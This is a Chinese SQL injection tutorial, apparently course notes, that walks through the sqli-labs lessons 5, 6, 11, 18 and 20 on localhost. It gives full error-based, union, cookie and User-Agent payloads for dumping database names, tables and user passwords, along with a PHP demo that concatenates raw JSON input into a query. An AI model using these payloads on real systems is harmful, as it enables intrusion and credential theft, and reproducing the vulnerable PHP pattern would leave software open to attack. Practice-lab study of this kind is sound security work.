目录
前言
在真实 SQL 注入安全测试中,我们一定要先明确提交数据及提交方法后再进行注入,其中提交数据类型和提交方法可以通过抓包分析获取, 后续安全测试中我们也必须满足同等的操作才能进行注入。
简要明确参数类型
- 数字
a. 如果是数字的话可能不存在单引号
b. 在数字上加单引号也是有可能的,要看对方的写法
- 字符
a. 一般是采用单引号,如果参数是字符的话那肯定是有单引号的
b. 即使有注入也会带入单引号里,产生不了任何作用,所以我们要做的前提是先要把它的符号闭合掉
c. 也有可能有括号,注入的时候需要去尝试
- 搜索
将数据进行搜索并进行展示,搜索符号是%,在过滤的时候要过滤单引号和百分号,不然语句全部在单引号和百分号里
- JSON 等
简要明确请求方式
- 根据网站的情况来获取相应的请求方法,请求方法可以通过在访问网站的时候审查元素里数据包的前缀看查看,找到Request Headers(请求头)
- 不同的请求方式,它请求的数据类型或者大小都不同。一般大数据会采用POST提交。在注入时候需要按照网站的请求方法去注入。
- GET、POST、COOKIE、REQUEST、HTTP头等
a. GET产生一个TCP数据包;POST产生两个TCP数据包。
对于GET方式的请求,浏览器会把http header和data一并发送出去,服务器响应200(返回数据);
而对于POST,浏览器先发送header,服务器响应100 continue,浏览器再发送data,服务器响应200 ok(返回数据)。
b. GET方法无法接收POST的值
在POST情况下GET的值只要在网址后面就能接收
GET、POST接收单个
REQUEST 全部接收,网站在访问的时候由于我们大多数是黑盒测试,不知道对方代码写法,如果对方采用REQUEST接收方式,就不需要考虑用何种方法去提交,因为用GET、POST都可以。如果对方是单一接收方式,那么在注入的时候需要用它的方法去注入。
c. 扩展链接
d. cookie
扩展: cookie和session的详解与区别 - 测试开发喵 - 博客园
- 以POST请求去测试网页,网页界面是一样的,那么表示这两个参数均以POST方式去提交
$_SERVER是PHP里内置变量,全局变量,PHP写脚本时用它来获取系统的值,在数据包的某一个地方可以进行注入
JSON注入相关知识
1. JSON基础
a. 简介
JSON 是存储和交换文本信息的语法,是轻量级的文本数据交换格式。类似xml,但JSON 比 XML 更小、更快,更易解析。所以现在接口数据传输都采用json方式进行。JSON 文本的 MIME 类型是 "application/json"
b. JSON语法
-
-
- 数据在名称/值对中
- 数据由逗号分隔
- 大括号保存对象
- 中括号保存数组
-
c. JSON值
-
-
- 数字(整数或浮点数) {"age":30 }
- 字符串(在双引号中) {"uname":"yang"}
- 逻辑值(true 或 false) {"flag":true }
- 数组(在中括号中){"sites":[{"name":"yang"},{"name":"ming"}]}
- 对象(在大括号中)JSON 对象在大括号({})中书写:
- null { "runoob":null }
-
d. JSON代码格式
{ "users": { "user": [ { "id": "1", "username": "admin", "passwd": "admin888" }, { "id": "2", "username": "root", "passwd": "root123" }, { "id": "3", "username": "system", "passwd": "system456" } ] } }
2. JSON注入
JSON注入是指应用程序所解析的JSON数据来源于不可信赖的数据源,程序没有对这些不可信赖的数据进行验证、过滤,如果应用程序使用未经验证的输入构造 JSON,则可以更改 JSON 数据的语义。在相对理想的情况下,攻击者可能会插入无关的元素,导致应用程序在解析 JSON数据时抛出异常。
演示资源:
- 配合 sqlilabs 本地数据库演示
- JOSN本地代码
<?php // php防止中文乱码 header('content-type:text/html;charset=utf-8'); if(isset($_POST['json'])){ $json_str=$_POST['json']; $json=json_decode($json_str); if(!$json){ die('JSON文档格式有误,请检查'); } $username=$json->username; //$password=$json->password; // 建立mysql连接,root/root连接本地数据库 $mysqli=new mysqli(); $mysqli->connect('localhost','root','root'); if($mysqli->connect_errno){ die('数据库连接失败:'.$mysqli->connect_error); } // 要操作的数据库名,我的数据库是security $mysqli->select_db('security'); if($mysqli->errno){ dir('打开数据库失败:'.$mysqli->error); } // 数据库编码格式 $mysqli->set_charset('utf-8'); // 从users表中查询username,password字段 $sql="SELECT username,password FROM users WHERE username='{$username}'"; $result=$mysqli->query($sql); if(!$result){ die('执行SQL语句失败:'.$mysqli->error); }else if($result->num_rows==0){ die('查询结果为空'); }else { $array1=$result->fetch_all(MYSQLI_ASSOC); echo "用户名:{$array1[0]['username']},密码:{$array1[0]['password']}"; } // 释放资源 $result->free(); $mysqli->close(); } ?>
- JSON注入案例分析
Spark“数字人体”AI挑战赛——脊柱疾病智能诊断大赛-天池大赛-阿里云天池
演示案例:
- 参数字符型注入测试=>sqlilabs less 5、6(涉及到二次注入,扩展链接)
sqlilabs 5
?id=1 界面显示 You are in...........
输入?id=1 and 1=3 无反应 考虑到可能是整句话都被闭合掉了
传参时可能是 id = ' $id ' LIMIT 0,1
输入的 id=1 and 1=3 整个都包含在两个单引号中,全被当成了传入的参数。 and 1=3起不到检测报错的作用
加上单引号 SQL语法错误提示
根据上面报错可以得出 传参是用单引号包括起来的
输入http://127.0.0.1/sqli-labs/Less-5/?id=1' and 1 = '1
发现猜想正确,在整句话之后有个单引号进行闭合,即源代码格式为id = ' $id ' LIMIT 0,1
将前面的补全
http://127.0.0.1/sqli-labs/Less-5/?id=1' and '1' = '1
接下来进行报错检测,发现网页有回显,说明该网页有SQL注入
http://127.0.0.1/sqli-labs/Less-5/?id=1' and '1' = '2
检查字段(切记要将注入字段之后给注释掉,否则会出现以下的错误)
正确页面
使用联合查询注入发现没有反应,于是尝试报错注入(在后面会学到)
爆库
http://127.0.0.1/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x23,database(),0x23))--+
爆表名
http://127.0.0.1/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x23))--+
第一个
第二个
http://127.0.0.1/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 2,1),0x23))--+
第三个
http://127.0.0.1/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x23))--+
然后遍历出整个库里的表名
爆列名
?id=1' and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x23))--+
然后依次遍历
爆数据
?id=1' and extractvalue(1,concat(0x23,(select password from users order by id limit 0,1),0x23))--+
?id=1' and extractvalue(1,concat(0x23,(select username from users order by id limit 2,1),0x23))--+
控制limit依次遍历
sqlilabs 6
?id=1 界面显示 You are in...........
尝试添加单引号进行闭合发现没有作用,然后尝试双引号,出现语法报错
使用payload,依旧报错
猜测源代码传参格式是 id = " $id " LIMIT 0,1
已经有回显,说明此页面有SQL注入,其余步骤和第五关是一样的
sqlilabs less 11
网址上没有任何参数,它的数据不在上面进行提交,后台在进行用户登陆的时候会接收你输入的数据,在从数据库中的数据进行对比在进行反馈。数据的接收,数据库的查询,满足了SQL注入的产生条件。
考虑到用户名和密码不可能是纯数字,所以会有单引号等对字符闭合。
用抓包工具,比如Burpsuite,在数据包里进行注入。
查看源代码,找到需要传递的参数:uname passwd submit
使用hackbar或者burp的POST提交功能
输入admin admin 登陆,抓包,发送到repeater模块
在repeater中通过修改post的参数进行注入。
uname=admin' and 1=1 --+ &passwd=admin&submit=Submit 可以登录
uname=admin' and 1=2 --+ &passwd=admin&submit=Submit 无法登录
说明注入生效,存在SQL注入
使用联合查询注入即可:
爆当前数据库表名:
uname=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+&passwd=admin&submit=Submit
爆字段名:
uname=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --+&passwd=admin&submit=Submit
爆字段值:
uname=-1' union select 1,group_concat(username,0x3e,password) from users --+&passwd=admin&submit=Submit
注:
如果是使用hackbar直接提交时,--+有时会报错,需要使用#注释,使用burp可以是因为POST提交的数据,所以不用进行url编码,直接显示的是POST原文
总结:
(GET提交方式):
-- (后面有空格)(--+)
%23
payload结尾单引号闭合
(POST提交方式):
-- (后面有空格)(--+)
#
payload结尾单引号闭合
- 参数 JSON 数据注入测试=>本地环境代码演示
JSON 数据注入
JSON列表形式,在注入的时候要把注语注入相应的地方
基本上APP数据都是由JSON提交
通过抓包来进行判断是什么提交格式
Spark“数字人体”AI挑战赛——脊柱疾病智能诊断大赛-天池大赛-阿里云天池
SELECT * FROM user WHERE username={$username}
双引号是给Json看的,需要关注数据库里有没有引号,比如下图中闭合的是单引号而不是双引号
SELECT * FROM user WHERE username='{$username}'
JSON补充:https://www.runoob.com/json/json-eval.html
Fiddler抓包7-post请求(json) - 后知后觉~ - 博客园
如何识别一个字符串是否Json格式 - 路过秋天 - 博客园
- COOKIE 数据提交注入测试=>sqlilabs less 20
sqlilabs less 20
首先随便输入正确的用户名和密码进行登录,观察到网页回显了大量信息。再次刷新,Less 20 的页面没有变化,这应该是 cookie 起到的作用。cookie 是网站为了辨别用户身份,进行 Session 跟踪而储存在用户本地终端上的数据。想要回到登录页面,我们需要先把 cookie 清除掉。
使用admin登录
1.登录成功之后会显示cookie
2. 登录失败会显示失败信息。
判断注入类型
在用户名和密码都使用下面的所有注入,网页都回显登录失败
a' OR 1 = 1# a') OR 1 = 1# a')) OR 1 = 1# a" OR 1 = 1# a") OR 1 = 1# a")) OR 1 = 1#
为了发现注入点,我们抓包看看,首先抓登录网页发的包,没有看见什么有用的信息。
登陆之后刷新页面,我们发现此时网页通过 cookie 记录用户登录状态,所以无需再次登录。注意到所抓到的包的 cookie 中存储了用户名,由此猜测 uname 字段是个注入点。
在 uname 中使用单引号闭合,网页回显语法错误,说明 cookie 存在字符型的 Sql 注入漏洞
注入单引号之后用 “#” 把后面的内容注释掉,网页回显正常,说明该语句使用单引号闭合
判断显示位
首先我们判断有几列可用,三列时显示正常,而使用4时会报错,所以可以确定是3列
Cookie: uname=' order by 4--+
Cookie: uname=' order by 3--+
获取数据库信息
首先已经判断有三列数据。使用联合查询注入 3 个常数,从而得到 3 列的回显位置。
Cookie: uname=' UNION SELECT 1,2,3--+
爆数据库名
爆表名
爆字段名
爆字段
- HTTP 头部参数数据注入测试=>sqlilabs less 18
sqlilabs less 18
POST-Header Injection-Uagent field-Error based (基于错误的用户代理,头部 POST 注入)
判断注入类型
首先输入正确的账号和密码,观察到网页回显了 IP Address 和 User Agent。用户代理 User Agent 是一个 HTTP 头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等
再输入错误的账号密码尝试一下,只显示一个IP ADDRESS
判断注入类型
在用户名和密码都使用下面的所有注入,网页都回显失败
a' OR 1 = 1# a') OR 1 = 1# a')) OR 1 = 1# a" OR 1 = 1# a") OR 1 = 1# a")) OR 1 = 1#
从登陆成功的页面分析
User Agent 会被回显到网页上,所以 User Agent 头可能会存在注入。使用 brup 抓包,在用户名和密码不正确时对User Agent注入各种参数尝试,发现登录失败。
尝试使用正确的账号密码并对User Agent进行注入,发现网页出现报错信息
尝试将后面的语句注释掉,发现依旧报错
获取数据库信息
将报错语句摘取分析,根据分析知道需要再增加一个单引号
增加一个单引号后,即两个单引号时不再报错,说明已经将报错的SQL语句给补全了
在注入的两个单引号之间可以插入其他 Sql 语句,在这里放置 updatexml() 报错注入语句。注意使用单引号闭合两侧的 Sql 语句时,相当于把它分割成了 2 部分,插入 updatexml() 报错时要用 OR 进行连接。
User-Agent: ' OR updatexml(1,concat('!',database()),2) OR '
爆表名
' OR updatexml(1,concat('~',(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'),'~'),3) OR '
爆字段名
' OR updatexml(1,concat('~',(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='security'AND table_name='users'),'~'),3) OR '
爆字段值
' OR (updatexml(1,concat('~',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)) OR '
修改LIMIT值依次进行遍历得到所有的字段值